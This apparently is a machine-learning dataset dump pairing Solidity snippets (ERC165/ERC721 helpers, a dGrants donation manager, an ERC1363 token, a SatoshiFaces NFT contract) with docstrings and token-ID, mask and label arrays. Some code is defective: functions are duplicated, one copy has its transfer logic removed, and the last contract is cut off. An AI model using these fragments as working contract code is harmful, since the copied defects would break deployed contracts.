public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients are aware of the ERC721 protocol to prevent tokens from being forever locked. `_data` is additional data, it has no specified format and it is sent in call to `to`. This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. implement alternative mechanisms to perform token transfer, such as signature-based. Requirements: - `from` cannot be the zero address. - `to` cannot be the zero address. - `tokenId` token must exist and be owned by `from`. - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. Emits a {Transfer} event./
function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), 'ERC721: transfer to non ERC721Receiver implementer' ); }
121,120
[ 1, 26946, 2357, 29375, 1375, 2316, 548, 68, 1147, 628, 1375, 2080, 68, 358, 1375, 869, 9191, 6728, 1122, 716, 6835, 12045, 854, 18999, 434, 326, 4232, 39, 27, 5340, 1771, 358, 5309, 2430, 628, 3832, 21238, 8586, 18, 1375, 67, 892, 68, 353, 3312, 501, 16, 518, 711, 1158, 1269, 740, 471, 518, 353, 3271, 316, 745, 358, 1375, 869, 8338, 1220, 2713, 445, 353, 7680, 358, 288, 4626, 5912, 1265, 5779, 471, 848, 506, 1399, 358, 425, 18, 75, 18, 2348, 10355, 1791, 28757, 358, 3073, 1147, 7412, 16, 4123, 487, 3372, 17, 12261, 18, 29076, 30, 300, 1375, 2080, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 869, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 2316, 548, 68, 1147, 1297, 1005, 471, 506, 16199, 635, 1375, 2080, 8338, 300, 971, 1375, 869, 68, 21368, 358, 279, 13706, 6835, 16, 518, 1297, 2348, 288, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 389, 4626, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 1147, 548, 16, 203, 3639, 1731, 3778, 389, 892, 203, 565, 262, 2713, 5024, 288, 203, 3639, 389, 13866, 12, 2080, 16, 358, 16, 1147, 548, 1769, 203, 3639, 2583, 12, 203, 5411, 389, 1893, 1398, 654, 39, 27, 5340, 8872, 12, 2080, 16, 358, 16, 1147, 548, 16, 389, 892, 3631, 203, 5411, 296, 654, 39, 27, 5340, 30, 7412, 358, 1661, 4232, 39, 27, 5340, 12952, 2348, 264, 11, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.7.6; pragma abicoder v2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import {IUniswapV2Router02 as ISwapRouter} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import "./GrantRegistry.sol"; import "./GrantRound.sol"; /** * @notice dGrants GrantRoundManager implementation that uses Uniswap V2 to swap a user's tokens to the donationToken * in the `donate` method * @dev This implementation is intended to be used on L2s or sidechains that don't have a Uniswap V3 deployment * and therefore swaps during donations must be done on a Uniswap V2 fork. Because we are less concerned about * gas costs on these networks, and because there are many different forks that may have slight differences, we * call to an external router instead of inheriting from a router. * @dev Current implementation is hardcoded for Polygon mainnet + SushiSwap */ contract GrantRoundManagerUniV2 { // --- Libraries --- using Address for address; using SafeERC20 for IERC20; using SafeMath for uint256; // --- Data --- /// @notice Address of a router conforming to the Uniswap V2 interface ISwapRouter public constant router = ISwapRouter(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506); /// @notice WETH address IERC20 public constant WETH = IERC20(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270); /// @notice Address of the GrantRegistry GrantRegistry public immutable registry; /// @notice Address of the ERC20 token in which donations are made IERC20 public immutable donationToken; /// @dev Used for saving off swap output amounts for verifying input parameters mapping(IERC20 => uint256) internal swapOutputs; /// @dev Used for saving off contribution ratios for verifying input parameters mapping(IERC20 => uint256) internal donationRatios; /// @dev Scale factor on percentages when constructing `Donation` objects. One WAD represents 100% uint256 internal constant WAD = 1e18; /// --- Types --- /// @dev Defines the total `amountIn` of the first token in `path` that needs to be swapped to `donationToken` struct SwapSummary { uint256 amountIn; uint256 amountOutMin; // minimum amount to be returned after swap address[] path; // Use `path == [donationToken]` to indicate no swap is required and just transfer the tokens directly } /// @dev Donation inputs and Uniswap V3 swap inputs: https://docs.uniswap.org/protocol/guides/swaps/multihop-swaps struct Donation { uint96 grantId; // grant ID to which donation is being made IERC20 token; // address of the token to donate uint256 ratio; // ratio of `token` to donate, specified as numerator where WAD = 1e18 = 100% GrantRound[] rounds; // rounds against which the donation should be counted } // --- Events --- /// @notice Emitted when a new GrantRound contract is created event GrantRoundCreated(address grantRound); /// @notice Emitted when a donation has been made event GrantDonation( uint96 indexed grantId, IERC20 indexed tokenIn, uint256 donationAmount, GrantRound[] rounds, uint256 time ); // --- Constructor --- constructor(GrantRegistry _registry, IERC20 _donationToken) { // Validation require(_registry.grantCount() >= 0, "GrantRoundManager: Invalid registry"); require(_donationToken.totalSupply() > 0, "GrantRoundManager: Invalid token"); // Set state registry = _registry; donationToken = _donationToken; } // --- Core methods --- /** * @notice Creates a new GrantRound * @param _owner Grant round owner that has permission to update the metadata pointer * @param _payoutAdmin Grant round administrator that has permission to payout the matching pool * @param _matchingToken Address for the token used to payout match amounts at the end of a round * @param _startTime Unix timestamp of the start of the round * @param _endTime Unix timestamp of the end of the round * @param _metaPtr URL pointing to the grant round metadata */ function createGrantRound( address _owner, address _payoutAdmin, IERC20 _matchingToken, uint256 _startTime, uint256 _endTime, MetaPtr calldata _metaPtr ) external { require(_matchingToken.totalSupply() > 0, "GrantRoundManager: Invalid matching token"); GrantRound _grantRound = new GrantRound( _owner, _payoutAdmin, registry, donationToken, _matchingToken, _startTime, _endTime, _metaPtr ); emit GrantRoundCreated(address(_grantRound)); } /** * @notice Performs swaps if necessary and donates funds as specified * @param _swaps Array of SwapSummary objects describing the swaps required * @param _deadline Unix timestamp after which a swap will revert, i.e. swap must be executed before this * @param _donations Array of donations to execute * @dev `_deadline` is not part of the `_swaps` array since all swaps can use the same `_deadline` to save some gas * @dev Caller must ensure the input tokens to the _swaps array are unique */ function donate( SwapSummary[] calldata _swaps, uint256 _deadline, Donation[] calldata _donations ) external payable { // Main logic _validateDonations(_donations); _executeDonationSwaps(_swaps, _deadline); _transferDonations(_donations); // Clear storage for refunds (this is set in _executeDonationSwaps) for (uint256 i = 0; i < _swaps.length; i++) { IERC20 _tokenIn = IERC20(_swaps[i].path[0]); swapOutputs[_tokenIn] = 0; donationRatios[_tokenIn] = 0; } for (uint256 i = 0; i < _donations.length; i++) { donationRatios[_donations[i].token] = 0; } } /** * @dev Validates the inputs to a donation call are valid, and reverts if any requirements are violated * @param _donations Array of donations that will be executed */ function _validateDonations(Donation[] calldata _donations) internal { // TODO consider moving this to the section where we already loop through donations in case that saves a lot of // gas. Leaving it here for now to improve readability for (uint256 i = 0; i < _donations.length; i++) { // Validate grant exists require(_donations[i].grantId < registry.grantCount(), "GrantRoundManager: Grant does not exist in registry"); // Used later to validate ratios are correctly provided donationRatios[_donations[i].token] = donationRatios[_donations[i].token].add(_donations[i].ratio); // Validate round parameters GrantRound[] calldata _rounds = _donations[i].rounds; for (uint256 j = 0; j < _rounds.length; j++) { require(_rounds[j].isActive(), "GrantRoundManager: GrantRound is not active"); require(_rounds[j].registry() == registry, "GrantRoundManager: Round-Registry mismatch"); require( donationToken == _rounds[j].donationToken(), "GrantRoundManager: GrantRound's donation token does not match GrantRoundManager's donation token" ); } } } /** * @dev Performs swaps if necessary * @param _swaps Array of SwapSummary objects describing the swaps required * @param _deadline Unix timestamp after which a swap will revert, i.e. swap must be executed before this */ function _executeDonationSwaps(SwapSummary[] calldata _swaps, uint256 _deadline) internal { for (uint256 i = 0; i < _swaps.length; i++) { // Validate output token is donation token (this can be done after the `continue` to save gas, but leaving it // here for now to minimize diff against GrantRoundManager.sol) address[] calldata _path = _swaps[i].path; IERC20 _outputToken = IERC20(_path[_path.length - 1]); require(_outputToken == donationToken, "GrantRoundManager: Output token must match donation token"); // Validate ratios sum to 100% IERC20 _tokenIn = IERC20(_path[0]); require(donationRatios[_tokenIn] == WAD, "GrantRoundManager: Ratios do not sum to 100%"); require(swapOutputs[_tokenIn] == 0, "GrantRoundManager: Swap parameter has duplicate input tokens"); // WETH token donations are not supported, and only one WETH swap per transaction allowed require( _tokenIn != WETH || (_tokenIn == WETH && msg.value == _swaps[i].amountIn && msg.value > 0), "GrantRoundManager: WETH token donation issue" ); // Do nothing if the swap input token equals donationToken if (_tokenIn == donationToken) { swapOutputs[_tokenIn] = _swaps[i].amountIn; continue; } // Get current balance of donation token, used to track swap outputss uint256 _initBalance = donationToken.balanceOf(address(this)); // Execute swap if (_tokenIn != WETH) { // Swapping a token _tokenIn.safeTransferFrom(msg.sender, address(this), _swaps[i].amountIn); if (_tokenIn.allowance(address(this), address(router)) == 0) { _tokenIn.safeApprove(address(router), type(uint256).max); } router.swapExactTokensForTokensSupportingFeeOnTransferTokens( _swaps[i].amountIn, _swaps[i].amountOutMin, _path, address(this), _deadline ); } else { // Swapping ETH router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value}( _swaps[i].amountOutMin, _path, address(this), _deadline ); } // Save off output amount for later swapOutputs[_tokenIn] = donationToken.balanceOf(address(this)).sub(_initBalance); } } /** * @dev Core donation logic that transfers funds to grants * @param _donations Array of donations to execute */ function _transferDonations(Donation[] calldata _donations) internal { for (uint256 i = 0; i < _donations.length; i++) { // Get data for this donation GrantRound[] calldata _rounds = _donations[i].rounds; uint96 _grantId = _donations[i].grantId; IERC20 _tokenIn = _donations[i].token; uint256 _donationAmount = (swapOutputs[_tokenIn].mul(_donations[i].ratio)) / WAD; require(_donationAmount > 0, "GrantRoundManager: Donation amount must be greater than zero"); // verifies that swap and donation inputs are consistent // Execute transfer emit GrantDonation(_grantId, _tokenIn, _donationAmount, _rounds, block.timestamp); address _payee = registry.getGrantPayee(_grantId); if (_tokenIn == donationToken) { _tokenIn.safeTransferFrom(msg.sender, _payee, _donationAmount); // transfer token directly from caller } else { donationToken.transfer(_payee, _donationAmount); // transfer swap output } } } }
* @dev Core donation logic that transfers funds to grants @param _donations Array of donations to execute/ Get data for this donation Execute transfer
function _transferDonations(Donation[] calldata _donations) internal { for (uint256 i = 0; i < _donations.length; i++) { GrantRound[] calldata _rounds = _donations[i].rounds; uint96 _grantId = _donations[i].grantId; IERC20 _tokenIn = _donations[i].token; uint256 _donationAmount = (swapOutputs[_tokenIn].mul(_donations[i].ratio)) / WAD; emit GrantDonation(_grantId, _tokenIn, _donationAmount, _rounds, block.timestamp); address _payee = registry.getGrantPayee(_grantId); if (_tokenIn == donationToken) { } } }
1,825,570
[ 1, 4670, 2727, 367, 4058, 716, 29375, 284, 19156, 358, 25638, 225, 389, 19752, 1012, 1510, 434, 2727, 1012, 358, 1836, 19, 968, 501, 364, 333, 2727, 367, 7903, 7412, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 13866, 22293, 1012, 12, 22293, 367, 8526, 745, 892, 389, 19752, 1012, 13, 2713, 288, 203, 565, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 389, 19752, 1012, 18, 2469, 31, 277, 27245, 288, 203, 1377, 19689, 11066, 8526, 745, 892, 389, 27950, 273, 389, 19752, 1012, 63, 77, 8009, 27950, 31, 203, 1377, 2254, 10525, 389, 16243, 548, 273, 389, 19752, 1012, 63, 77, 8009, 16243, 548, 31, 203, 1377, 467, 654, 39, 3462, 389, 2316, 382, 273, 389, 19752, 1012, 63, 77, 8009, 2316, 31, 203, 1377, 2254, 5034, 389, 19752, 367, 6275, 273, 261, 22270, 13856, 63, 67, 2316, 382, 8009, 16411, 24899, 19752, 1012, 63, 77, 8009, 9847, 3719, 342, 678, 1880, 31, 203, 203, 1377, 3626, 19689, 22293, 367, 24899, 16243, 548, 16, 389, 2316, 382, 16, 389, 19752, 367, 6275, 16, 389, 27950, 16, 1203, 18, 5508, 1769, 203, 1377, 1758, 389, 10239, 1340, 273, 4023, 18, 588, 9021, 9148, 1340, 24899, 16243, 548, 1769, 203, 1377, 309, 261, 67, 2316, 382, 422, 2727, 20611, 13, 288, 203, 1377, 289, 203, 565, 289, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x05E21fC2eBCE59c9eDCc7Aa71e03e4e39fdCA355/sources/browser/Test1.sol
* @title ERC1363 @dev Implementation of an ERC1363 interface/ Equals to `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))` which can be also obtained as `IERC1363Receiver(0).onTransferReceived.selector` Equals to `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))` which can be also obtained as `IERC1363Spender(0).onApprovalReceived.selector`
contract ERC1363 is ERC20, IERC1363, ERC165 { using Address for address; bytes4 internal constant _INTERFACE_ID_ERC1363_TRANSFER = 0x4bbee2df; bytes4 internal constant _INTERFACE_ID_ERC1363_APPROVE = 0xfb9ec8ce; bytes4 private constant _ERC1363_RECEIVED = 0x88a7ca5c; bytes4 private constant _ERC1363_APPROVED = 0x7b04a2d0; constructor ( string memory name, string memory symbol ) public payable ERC20(name, symbol) { _registerInterface(_INTERFACE_ID_ERC1363_TRANSFER); _registerInterface(_INTERFACE_ID_ERC1363_APPROVE); } function transferAndCall(address to, uint256 value) public override returns (bool) { return transferAndCall(to, value, ""); } function transferAndCall(address to, uint256 value, bytes memory data) public override returns (bool) { transfer(to, value); require(_checkAndCallTransfer(_msgSender(), to, value, data), "ERC1363: _checkAndCallTransfer reverts"); return true; } function transferFromAndCall(address from, address to, uint256 value) public override returns (bool) { return transferFromAndCall(from, to, value, ""); } function transferFromAndCall(address from, address to, uint256 value, bytes memory data) public override returns (bool) { transferFrom(from, to, value); require(_checkAndCallTransfer(from, to, value, data), "ERC1363: _checkAndCallTransfer reverts"); return true; } function approveAndCall(address spender, uint256 value) public override returns (bool) { return approveAndCall(spender, value, ""); } function approveAndCall(address spender, uint256 value, bytes memory data) public override returns (bool) { approve(spender, value); require(_checkAndCallApprove(spender, value, data), "ERC1363: _checkAndCallApprove reverts"); return true; } function _checkAndCallTransfer(address from, address to, uint256 value, bytes memory data) internal returns (bool) { if (!to.isContract()) { return false; } bytes4 retval = IERC1363Receiver(to).onTransferReceived( _msgSender(), from, value, data ); return (retval == _ERC1363_RECEIVED); } function _checkAndCallTransfer(address from, address to, uint256 value, bytes memory data) internal returns (bool) { if (!to.isContract()) { return false; } bytes4 retval = IERC1363Receiver(to).onTransferReceived( _msgSender(), from, value, data ); return (retval == _ERC1363_RECEIVED); } function _checkAndCallApprove(address spender, uint256 value, bytes memory data) internal returns (bool) { if (!spender.isContract()) { return false; } bytes4 retval = IERC1363Spender(spender).onApprovalReceived( _msgSender(), value, data ); return (retval == _ERC1363_APPROVED); } function _checkAndCallApprove(address spender, uint256 value, bytes memory data) internal returns (bool) { if (!spender.isContract()) { return false; } bytes4 retval = IERC1363Spender(spender).onApprovalReceived( _msgSender(), value, data ); return (retval == _ERC1363_APPROVED); } }
8,240,832
[ 1, 654, 39, 3437, 4449, 225, 25379, 434, 392, 4232, 39, 3437, 4449, 1560, 19, 19344, 358, 1375, 3890, 24, 12, 79, 24410, 581, 5034, 2932, 265, 5912, 8872, 12, 2867, 16, 2867, 16, 11890, 5034, 16, 3890, 2225, 3719, 68, 1492, 848, 506, 2546, 12700, 487, 1375, 45, 654, 39, 3437, 4449, 12952, 12, 20, 2934, 265, 5912, 8872, 18, 9663, 68, 19344, 358, 1375, 3890, 24, 12, 79, 24410, 581, 5034, 2932, 265, 23461, 8872, 12, 2867, 16, 11890, 5034, 16, 3890, 2225, 3719, 68, 1492, 848, 506, 2546, 12700, 487, 1375, 45, 654, 39, 3437, 4449, 27223, 264, 12, 20, 2934, 265, 23461, 8872, 18, 9663, 68, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4232, 39, 3437, 4449, 353, 4232, 39, 3462, 16, 467, 654, 39, 3437, 4449, 16, 4232, 39, 28275, 288, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 203, 565, 1731, 24, 2713, 5381, 389, 18865, 67, 734, 67, 654, 39, 3437, 4449, 67, 16596, 6553, 273, 374, 92, 24, 9897, 1340, 22, 2180, 31, 203, 203, 203, 565, 1731, 24, 2713, 5381, 389, 18865, 67, 734, 67, 654, 39, 3437, 4449, 67, 2203, 3373, 3412, 273, 374, 5841, 70, 29, 557, 28, 311, 31, 203, 203, 377, 203, 565, 1731, 24, 3238, 5381, 389, 654, 39, 3437, 4449, 67, 27086, 20764, 273, 374, 92, 5482, 69, 27, 5353, 25, 71, 31, 203, 203, 377, 203, 565, 1731, 24, 3238, 5381, 389, 654, 39, 3437, 4449, 67, 2203, 3373, 12135, 273, 374, 92, 27, 70, 3028, 69, 22, 72, 20, 31, 203, 203, 203, 565, 3885, 261, 203, 3639, 533, 3778, 508, 16, 203, 3639, 533, 3778, 3273, 203, 203, 565, 262, 1071, 8843, 429, 4232, 39, 3462, 12, 529, 16, 3273, 13, 288, 203, 3639, 389, 4861, 1358, 24899, 18865, 67, 734, 67, 654, 39, 3437, 4449, 67, 16596, 6553, 1769, 203, 3639, 389, 4861, 1358, 24899, 18865, 67, 734, 67, 654, 39, 3437, 4449, 67, 2203, 3373, 3412, 1769, 203, 565, 289, 203, 203, 203, 565, 445, 7412, 1876, 1477, 12, 2867, 358, 16, 2254, 5034, 460, 13, 1071, 3849, 1135, 261, 6430, 13, 288, 203, 3639, 327, 7412, 1876, 1477, 12, 869, 16, 460, 16, 1408, 1769, 203, 565, 289, 2 ]
pragma solidity ^0.7.0; import "./IERC165.sol"; import "./ERC165.sol"; import "./Address.sol"; import "./EnumerableMap.sol"; import "./EnumerableSet.sol"; import "./SafeMath.sol"; import "./Strings.sol"; import "./Context.sol"; import "./Ownable.sol"; import "./ISFT.sol"; import "./IFaces.sol"; import "./IERC721Enumerable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } /** * @title SatoshiFaces contract * @dev Extends ERC721 Non-Fungible Token Standard basic implementation */ contract Faces is Context, Ownable, ERC165, IFaces, IERC721Metadata { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // This is the provenance record of all SatoshiFaces artwork in existence string public constant FACES_PROVENANCE = "9b7e7c22b54ba1a753f94bc7a38ac6b3f41b8040ab34801469f654ae03f7e419"; uint256 public constant JUNE_1ST_2021 = 1622505600; uint256 public constant SALE_START_TIMESTAMP = 1617667200; // Tuesday, April 6, 2021 0:00:00 GMT // time after which SatoshiFaces artworks are randomized and assigned to NFTs uint256 public constant DISTRIBUTION_TIMESTAMP = SALE_START_TIMESTAMP + (86400 * 7); // 7 is number of days uint256 public constant SEGMENT_UNLOCK_INTERVAL = (86400 * 2); // 2 days between segment unlocks uint256 public constant MAX_NFT_SUPPLY = 4999; uint256 public constant MAX_NAME_CHANGE_PRICE = 250 * (10 ** 18); // Maximum price of a name change is 250 SFT uint256 public nameChangePrice = MAX_NAME_CHANGE_PRICE; uint256 public startingIndexBlock; uint256 public startingIndex; uint256 public allSegmentsRevealedTimestamp = 0; uint256 public _fixedPriced = 0; uint256 public price_bracket_1 = 0.125 * (10 ** 18); uint256 public price_bracket_2 = 0.250 * (10 ** 18); uint256 public price_bracket_3 = 0.500 * (10 ** 18); uint256 public price_bracket_4 = 0.750 * (10 ** 18); uint256 public price_bracket_5 = 1.000 * (10 ** 18); uint256 public price_bracket_6 = 1.750 * (10 ** 18); uint256 public price_bracket_7 = 2.500 * (10 ** 18); // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from token ID to name mapping (uint256 => string) private _tokenName; // Mapping if certain name string has already been reserved mapping (string => bool) private _nameReserved; // Mapping from token ID to the timestamp the NFT was minted mapping (uint256 => uint256) private _mintedTimestamp; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // token name string private _name; // token symbol string private _symbol; // base URI string private _baseURI; // contract URI string private _contractURI; // name change token address address private _sftAddress; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * * => 0x06fdde03 ^ 0x95d89b41 == 0x93254542 */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x93254542; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; // Events event NameChange (uint256 indexed faceIndex, string newName); /** * @dev Initializes the contract which sets a name and a symbol to the token collection. */ constructor () { _name = "SatoshiFaces"; _symbol = "FACES"; _sftAddress = 0xF4Ea51408E7cEcE8eB9EBBaF3bFBCEc74aC574F4; // for third-party metadata fetching _baseURI = "https://satoshifaces.com/api/opensea/"; _contractURI = "https://satoshifaces.com/api/contractmetadata"; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See 